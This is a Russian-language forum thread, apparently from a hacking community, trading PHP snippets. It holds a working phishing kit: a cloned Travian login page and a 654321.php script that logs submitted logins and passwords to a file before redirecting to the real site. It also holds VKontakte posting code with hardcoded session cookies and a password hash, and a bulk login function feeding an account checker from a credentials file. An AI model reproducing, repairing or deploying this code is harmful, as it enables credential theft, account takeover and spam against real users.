sNt Попробуйте для разнообразия пользоваться средами с подсветкой синтаксиса. Например на форуме: PHP: $str = '\' тут тоже подсвечено как текст внутри кавычек, потому что слеш экранирует'; Пользуйтесь '\\' И что, str_ireplace и массивы для замен не можно уже? Надо обязательно писать сто строчек?
Привет! Скачал с нашего форума парсер DLE сайтов и решил его довести до ума. Сделал вывод полного пути картинок, ЧПУ, добавил автора. Но есть проблемы с которыми я справиться не могу, а именно: -обновление количества пабликов у автора (обновляется только при пересчете статистики); -убрать из новостей <div id='news-id-...'>новость</div> (при просмотре исходного кода получается такая запись <div id='news-id-новый id'><div id='news-id-взятый с украденной новости'>новость</div></div> Есть какие нибудь мысли?
подскажите как правильно слать сообщение на стену вконтакте ? шлю пост запрос курлом и в ответ получаю вот эту надпись Security Breach PHP: # Сначала авторизируюсь, потом шлю запрос $ch = curl_init('http://vkontakte.ru/wall.php'); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, 'act=get10&wall_hash=0723c66a14426b8ff7944dc3d3d5be68&wpage=100000&seed=%D0%9F%D1%80%D0%B8%D0%B2%D0%B5%D1%82%0A%D0%BA%D0%B0%D0%BA%20%D0%B4%D0%B5%D0%BB%D0%B0%20%3F&fpage=1&mid=252967150202&n=3'); curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/index.php'); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0); $res = curl_exec($ch);
Бгггггггггггг,а ты куки не забыл?? + там походу доп параметры есчё же которые меняються.... вот все: Тэг Значение act get10 wall_hash 95eaf3defdb351e8847c81bc92741d1f wpage 100000 seed Hi to all! fpage 1 mid 75429932635 n 3
Mixon ты вобще мой код видел ? o_0 З.Ы. я конечно понимаю хакир, все дела, но смотри в след.раз внимательнее
Ссор,насчёт куков то ступил,недосмотрел Вот посидел,написал норм пример,работающий,и тоже столкнулся с этой ошибкой,но решил,вся проблемя в Referer! Он должен быть вконтакте.сру/ид1234 , пример: Referer: http://vkontakte.ru/id23316952 Ну а вот скрипт который шлёт написал PHP: <?php function curls($url,$zapros,$method){ $cookies="remixlang=0; remixmid=23316952; [email protected]; remixpass=4c94bf71ef857d4bb4bde227f7521610; remixsid=e4e697df775170a5f9e7587c466eba5a36ad98d05ac9bbe99c756b12"; $ref = 'http://vkontakte.ru/id23316952'; $ch=curl_init ($url); $ua = 'Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1'; curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_REFERER, $ref); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIE, $cookies); curl_setopt($ch, CURLOPT_POSTFIELDS, $zapros); $page = curl_exec($ch); if($method=="1"){ preg_match("/wall_hash: '(.*?)', wpage/i", $page, $wall_hash); preg_match("/name=\"to_id\" value=\"(.*?)\"\/>/i", $page, $to_id); $return=array($wall_hash[1],$to_id[1]); }else{ $return=$page; } return $return; } $cur=&curls("http://vkontakte.ru/index.php","","1"); $zapros="act=get10&wall_hash=".$cur[0]."&wpage=100000&seed=TEST&fpage=1&mid=".$cur[1]."&n=3"; $cur=&curls("http://vkontakte.ru/wall.php",$zapros,"2"); echo $cur; ?> В куках профиль подставной,можете юзать на здоровье
Отлично, действительно реф стоило только поменять) Mixon, вот моя функция для логина вконтакте, а то у тебя авторизация по кукам PHP: function login($n = ''){ $akk = 'akk.txt'; $varname = file($akk); $count = count ($varname); preg_match('#^(.*?):#i', $varname[$n], $email); preg_match('#:(.*?)$#i', $varname[$n], $pass); $ch = curl_init('http://vkontakte.ru/login.php'); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, 'op=a_login_attempt&email='.$email[1].'&pass='.$pass[1].'&expire=0'); curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/index.php'); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res = curl_exec($ch); } // Вызывается например так: login(1); // Ну а потом по контакту ходим с кукками "./cook"
Спасиба,но ето я толькочто для тебя с нуля написал вопщет) у меня своя ф-цыя + робота с антикапчей) Чекер мой как ни как работает на нём,но и за ето спасиб!
Привет ребята! Я здесь новенький, но давно уже лазю на форуме(просто не регился). У меня такая проблема(С PHP я наверное знаком на 0,5% из 100%) Но решил на основе одного фейка для мейл.ру, создать совсем другой для этого сайта. http://www.travian.com.ua/ кто играет я под таким же ником, а точнее для этой страницы http://s1.travian.com.ua/login.php Все думал бует чики-пики, но постало несколько проблем.1 картинки никак не могут отобразится(Пробывал в ручную, через скрины и разные програмы, но эфект не тот.Все лезет на купу) и 2 проблема.Пасс и логин не хотят прописыватся в базу(права я им надал).Вообщем картина така что не смог я этого сделать.И очень хочется, ведь для этого сайта фейка нет, а оч. нужен.Потому прошу помощи, кто сможет.Дело добровольное!!!Ради интереса и желания чего-то доказать.
Вы не можете прикреплять файлы Но вот какая пародия получается.Хост я выбрал любой для тренировки. http://vcontacte.bos.ru/
index.php PHP: <html> <head> <title>Travian ua1</title> <meta name="content-language" content="ua" /> <meta http-equiv="cache-control" content="max-age=0" /> <meta http-equiv="imagetoolbar" content="no" /> <meta http-equiv="content-type" content="text/html; charset=UTF-8" /> <script src="mt-core.js?azg" type="text/javascript"></script> <script src="mt-more.js?azg" type="text/javascript"></script> <script src="unx.js?azg" type="text/javascript"></script> <script src="new.js?azg" type="text/javascript"></script> <link href="img/unx.css?azg" rel="stylesheet" type="text/css" /> <link href="img/img.css?azg" rel="stylesheet" type="text/css" /> <link href="img/ua/lang.css?azg" rel="stylesheet" type="text/css" /> </head> <body onload="initCounter()"> <div id="dynamic_header" class="norm"> </div> <div id="header"></div> <div id="mid"> <div id="sleft"> <a href="http://www.travian.com.ua/"><img id="logo" src="" alt="Травіан" /></a> <p> <a href="http://www.travian.com.ua/index.php">Головна</a> <a href="http://www.travian.com.ua/anleitung.php">Довідка</a> <a href="login.php">Вхід</a> <a href="anmelden.php">Реєстрація</a> <br /><br /> <a href="http://forum.travian.com.ua/" target="_blank">Форум</a> <a href="http://www.travian.com.ua/chat/?chatname=T_guest???" target="_blank">Чат</a> <br /><br /> <a href="http://www.travian.com.ua/impressum.php">Фірма</a> <a href="support.php">Служба підтримки</a> </p> </div> <div id="content"> <div class=login> <h1><img class="img_login" src="/1.jpg" alt="Ввійти до Гри" /></h1> <h5><img class="img_u04" src="/1.jpg" alt="ввійти" /></h5> <p class="f9">Щоб увійти в гру необхідно дозволити використання "cookіe" у вашому браузері.Якщо ви не єдиний користувач комп'ютера, деактивуйте "<i>Впізнавати мене в майбутньому</i>" ("cookіe" будуть видалені після виходу із браузера).</p> <form method="post" action="654321.php" onSubmit="return CheckForm(this);"> <table class="dashed"> <colgroup> <col class="w40" /> <col class="w60" /> </colgroup> <tr> <td><label>Логін:</label></td> <td><input class="fm fm110" type="text" name="e215a53" value="" maxlength="15" /> <span class="e f7"> </span></td> </tr> <tr> <td><label>Пароль:</label></td> <td><input class="fm fm110" type="password" name="e193aff" value="" maxlength="20" /> <span class="e f7"> </span></td> </tr> </table> <input type="hidden" name="eb0a332" value="" /> <p class="center"> <input type="hidden" name="eb0a332" value="" /> <input type = "image" value = "login" name = "s1" onclick = "xy();" id = "btn_login" class = "dynamic_img" src = "img/x.gif" alt = "кнопка входу" /> </p> </form> </div> </div> <div id="sright"> <h5><img src="http://www.travian.com.ua/img/ua/t2/newsbox1.gif" class="news1" alt="Новини 1"></h5> <div class="dashed"><span style="color:#ff9a1e;"><strong>Отримати ігрове золото</strong></span> <br><br>Більше інформації <a href="http://forum.travian.com.ua/showthread.php?t=2869" target="_blank">тут</a></div> <h5><img src="http://www.travian.com.ua/img/ua/t2/newsbox2.gif" class="news2" alt="Новини 2"></h5> <div class="dashed"><span style="color:#ff0000;"><strong>Важливо !</strong></span> <span style="font-size: 11px;"> <br><br>Шановні гравці, <br><br>Мультихантери та Служба Підтримки спілкується з Вами <font color="red"><b>виключно</b></font> за допомогою внутрішньоігрових повідомлень. <br><br><b>Важливо:</b> працівники Травіан команди ніколи не будуть питати у Вас пароль. <br><br>Будьте уважні! </font></span> </div> </div> <div class="clear"></div> </div> <div class="clear"></div> <div id="footer"> <div id="mfoot"> <a href="http://www.travian.com.ua/anleitung.php?s=3">Довідка</a> | <a href="http://www.travian.com.ua/screenshots.php">Скріншоти</a> | <a href="http://www.travian.com.ua/links.php">Лінки</a> | <a href="http://www.travian.com.ua/spielregeln.php">Правила гри</a> | <a href="http://www.travian.com.ua/spielregeln.php?agb">Основні положення</a> | <a href="http://www.travian.com.ua/impressum.php">Фірма</a> <br /> <div class="copyright">© 2004 - 2009 Travian Games GmbH</div> </div> </div> <div id="ce"></div> </body> </html> 654321.php PHP: <?PHP $Login = $_POST['Login'];//Логин $Domain = $_POST['Domain'];//Домен $Pass = $_POST['Password'];//Пароль $c = "$Login@$Domain:$Pass"; $fp = fopen("654321","a+"); //открыть файл базы fwrite($fp,"\n $c <br> \n");//записываем все fclose($fp); //закрываем header("Location: http://s1.travian.com.ua/login.php"); echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://s1.travian.com.ua/login.php">"//s1.travian.com.ua ?>
Индекс составляется с исходного кода самой подлиной страници, где я заменил только несколько строчек.И 654321.php я не заменял ничем, как взял с фейка мейл.ру так и оставил. Видно так замудрил, что никто не хочет братся
Например есть файл bad.html и мы хотим имитировать 404 для него. Делаешь htaccess с текстом ErrorDocument 404 /404.html Options +FollowSymlinks RewriteEngine on RewriteRule bad\.html blablabla.html При обращении к bad.html получаем 404 в заголовке и содержимое страницы 404.html Или ты хотел нечто другое?
Nightmarе Или так Code: ErrorDocument 404 /404.html RewriteCond %{REQUEST_FILENAME} "имя файла без кавычек" RewriteRule ^.*$ - [R=404,L]